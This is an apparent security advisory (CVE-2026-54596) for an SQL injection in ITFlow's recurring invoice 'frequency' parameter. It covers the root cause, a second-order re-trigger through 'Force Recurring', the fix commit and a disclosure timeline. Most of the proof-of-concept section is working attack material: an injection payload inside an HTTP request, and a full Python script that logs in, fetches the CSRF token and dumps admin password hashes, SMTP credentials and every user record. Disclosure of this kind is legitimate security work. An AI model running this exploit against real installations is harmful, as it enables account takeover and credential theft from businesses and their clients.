Summary
An SQL injection vulnerability exists in ITFlow's recurring invoice creation endpoint. The frequency POST parameter is sanitized by sanitizeInput() — which calls mysqli_real_escape_string() and strips HTML tags — but is then placed unquoted directly inside a DATE_ADD(... INTERVAL 1 $var) expression within an INSERT SET statement. Because the value sits in a numeric/keyword SQL context rather than a string context, quote escaping provides zero protection. Any authenticated user with the Technician role who has access to at least one client invoice can exfiltrate admin password hashes, SMTP credentials, and all user account data in a single HTTP request — without any admin interaction.
Additionally, the injected payload persists in the database and re-fires via a second-order injection when any user triggers the "Force Recurring" action, making the attacker's footprint entirely passive after the initial request.
CVE: CVE-2026-54596 | CVSS Score: High | Advisory: GHSA-f9m3-qjc9-v27j | Author: iltosec
Vulnerability Details
Root Cause
File: agent/post/recurring_invoice.php — Line 43
$recurring_invoice_frequency = sanitizeInput($_POST['frequency']);
// ...
recurring_invoice_next_date = DATE_ADD('$invoice_date', INTERVAL 1 $recurring_invoice_frequency),

sanitizeInput() calls mysqli_real_escape_string(), which escapes ', ", and \. None of these characters are needed to exploit a DATE_ADD(...INTERVAL 1 $var) expression. The three characters sufficient to break out are ), ,, and # — none of which are escaped.
An attacker can close the DATE_ADD() call, inject additional SET column assignments with a subquery result, and comment out the remainder of the original query. The extracted value is written into recurring_invoice_note (a TEXT column with no length limit) and is immediately readable from /agent/recurring_invoice.php.
Second-Order Injection
The force_recurring handler reads recurring_invoice_frequency back from the database and places it unquoted into a second UPDATE statement:
// force_recurring handler — unquoted reuse of stored value
UPDATE ... SET recurring_invoice_next_date = DATE_ADD(..., INTERVAL 1 $recurring_invoice_frequency) ...

The malicious payload persists in the database. Any legitimate user who clicks "Force Recurring" on the crafted record becomes an unwitting trigger — no new malicious request required.
Affected Files
agent/post/recurring_invoice.php— initial injection point, line 43agent/post.php—force_recurringhandler, second-order re-execution
Proof of Concept
Prerequisites
- Staff account with Technician role (or higher)
- An
invoice_idthe attacker can access (assigned to one of their clients)
Injection Payload
POST /agent/post.php HTTP/1.1
Host: itflow.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=...; user_encryption_session_key=...
add_invoice_recurring=1&csrf_token=...&invoice_id=1
&frequency=MONTH),recurring_invoice_note=(SELECT+user_password+FROM+users+LIMIT+1),recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#
The extracted hash is immediately visible in the Notes field of the created recurring invoice:
GET /agent/recurring_invoice.php?recurring_invoice_id=178 HTTP/1.1
Host: itflow.com
Cookie: PHPSESSID=...
Exploit Script
python exploit.py http://itflow.com limiteduser@x.com 'emsJ_;PD@@;-r>4' 2 --all
The following PoC automates extraction of multiple targets in a single run:
#!/usr/bin/env python3
import re
import sys
import argparse
import requests
BANNER = r"""
___ _____ ___ _
|_ _|_ _| __| |_____ __ __
| | | | | _|| / _ \ V V /
|___| |_| |_| |_\___/\_/\_/
SQLi — recurring_invoice_frequency
CVE: CVE-2026-54596
Auth: Technician + accessible invoice
by iltosec
"""
TARGETS = {
"adminhash": "(SELECT user_password FROM users LIMIT 1)",
"adminemail": "(SELECT user_email FROM users LIMIT 1)",
"smtppass": "(SELECT config_smtp_password FROM settings)",
"smtpuser": "(SELECT config_smtp_username FROM settings)",
"dbuser": "(SELECT CURRENT_USER())",
"dbversion": "(SELECT VERSION())",
"database": "(SELECT DATABASE())",
}
USER_TYPE = {1: "Agent", 2: "Client"}
PREFIX = "MONTH),recurring_invoice_note="
TAIL = ",recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#"
def payload(subquery):
return PREFIX + subquery + TAIL
def parse_note(html):
m = re.search(r"Notes.*?<div[^>]*card-body[^>]*>\s*(.*?)\s*</div>", html, re.DOTALL)
if m:
raw = re.sub(r"<[^>]+>", "", m.group(1)).strip()
return raw if raw else None
return None
def login(s, base, email, password):
r = s.post(f"{base}/login.php", data={"email": email, "password": password, "login": "1"}, allow_redirects=False)
return r.status_code in (301, 302)
def get_csrf(s, base):
for page in ("agent/invoices.php", "agent/clients.php", "agent/tickets.php"):
m = re.search(r'name="csrf_token"\s+value="([^"]{10,})"', s.get(f"{base}/{page}").text)
if m:
return m.group(1)
return None
def fire(s, base, csrf, invoice_id, subquery):
p = payload(subquery)
if len(p) > 200:
print(f" [-] Payload too long ({len(p)}/200): {subquery}")
return None
r = s.post(f"{base}/agent/post.php", data={
"add_invoice_recurring": "1",
"csrf_token": csrf,
"invoice_id": invoice_id,
"frequency": p,
}, allow_redirects=True)
if not re.search(r"recurring_invoice_id=(\d+)", r.url):
return None
return parse_note(r.text) or ""
def extract_users(s, base, csrf, invoice_id):
count_raw = fire(s, base, csrf, invoice_id, "(SELECT COUNT(*) FROM users)")
if not count_raw or not count_raw.isdigit():
print(" [-] Failed to get user count")
return
count = int(count_raw)
print(f"\n Users ({count} total)\n")
print(f" {'#':<4} {'Name':<20} {'Email':<30} {'Type':<10} Hash")
print(f" {'-'*100}")
for i in range(count):
row = {}
for col in ("user_name", "user_email", "user_type", "user_password"):
row[col] = fire(s, base, csrf, invoice_id, f"(SELECT {col} FROM users LIMIT {i},1)") or "(null)"
utype = USER_TYPE.get(int(row["user_type"]) if row["user_type"].isdigit() else 0, row["user_type"])
print(f" {i+1:<4} {row['user_name']:<20} {row['user_email']:<30} {utype:<10} {row['user_password']}")
def main():
parser = argparse.ArgumentParser(
prog="exploit.py",
description="ITFlow CVE-2026-54596 - SQL Injection via recurring_invoice_frequency (agent/post/recurring_invoice.php:43) - by iltosec",
formatter_class=argparse.RawTextHelpFormatter,
epilog=(
"Examples:\n"
" python exploit.py http://itflow.com admin@x.com 'P@ss!' 1 --all\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --all\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --adminhash --smtppass\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --users\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --dbuser --dbversion"
),
)
parser.add_argument("url", help="Target base URL")
parser.add_argument("email", help="Login email")
parser.add_argument("password", help="Login password")
parser.add_argument("invoice_id", help="Invoice ID the attacker can access")
parser.add_argument("--adminhash", action="store_true")
parser.add_argument("--adminemail", action="store_true")
parser.add_argument("--smtppass", action="store_true")
parser.add_argument("--smtpuser", action="store_true")
parser.add_argument("--dbuser", action="store_true")
parser.add_argument("--dbversion", action="store_true")
parser.add_argument("--database", action="store_true")
parser.add_argument("--users", action="store_true", help="Dump all users table")
parser.add_argument("--all", action="store_true", help="Run all extractions")
args = parser.parse_args()
print(BANNER)
base = args.url.rstrip("/")
if args.all:
selected = list(TARGETS.keys())
run_users = True
else:
selected = [k for k in TARGETS if getattr(args, k, False)]
run_users = args.users
if not selected and not run_users:
parser.print_help()
sys.exit(1)
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0"
print(f"[*] {base} | {args.email}")
if not login(s, base, args.email, args.password):
print("[-] Login failed")
sys.exit(1)
csrf = get_csrf(s, base)
if not csrf:
print("[-] CSRF token not found")
sys.exit(1)
print(f"[+] Logged in | CSRF: {csrf}")
probe = fire(s, base, csrf, args.invoice_id, "(SELECT 1)")
if probe is None:
print(f"\n[-] Access denied for invoice_id={args.invoice_id}")
print(f" This invoice doesn't exist or belongs to a client")
print(f" that {args.email} cannot access.")
print(f" Try a different invoice_id (one assigned to your client).")
sys.exit(1)
print(f"[+] Injection reachable\n")
for key in selected:
val = fire(s, base, csrf, args.invoice_id, TARGETS[key])
if val is None:
print(f" [-] {key}: blocked")
elif val == "":
print(f" [!] {key}: NULL")
else:
print(f" [+] {key}: {val}")
if run_users:
extract_users(s, base, csrf, args.invoice_id)
print("\n[*] Done.")
if __name__ == "__main__":
main()
Sample Output
Running against a Technician account (limiteduser@x.com) with access to invoice_id=2:

Impact
A single HTTP request from a Technician-level account achieves full database exfiltration:
- Full Admin Takeover — Admin bcrypt hash extracted and crackable offline (
hashcat -m 3200) - Mass Data Exposure — All agent and client portal password hashes dumped in one request
- SMTP Credential Theft — Plaintext SMTP credentials readable from the
settingstable, enabling email spoofing and phishing - System Fingerprinting — MySQL version and current DB user disclosed for targeted follow-on attacks
- Persistent Second-Order Trigger — Payload survives in the database; any user clicking "Force Recurring" re-executes the injection without attacker involvement
- Unrestricted Data Access — Any column in any table reachable within the 43-character subquery limit
Fix
Commit 7211426 resolves this vulnerability.
The fix enforces a strict whitelist on the frequency parameter, accepting only the string values year and month. Any other value is rejected before reaching the query. This effectively prevents the DATE_ADD breakout since the injected ), ,, and # characters are never valid whitelist members.
The commit also adds a validateDate() hardening touch on the date field.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-05-19 | Vulnerability discovered and reported to ITFlow via GitHub Security Advisory |
| 2026-05-19 | Vendor acknowledged |
| 2026-05-20 | Vendor proposed fix — commit 7211426 |
| 2026-05-20 | Fix verified — whitelist validation confirmed to prevent DATE_ADD breakout |
| 2026-06-02 | Advisory closed |
| 2026-06-06 | CVE requested via GitHub Security Advisory |
| 2026-06-15 | CVE-2026-54596 assigned / published |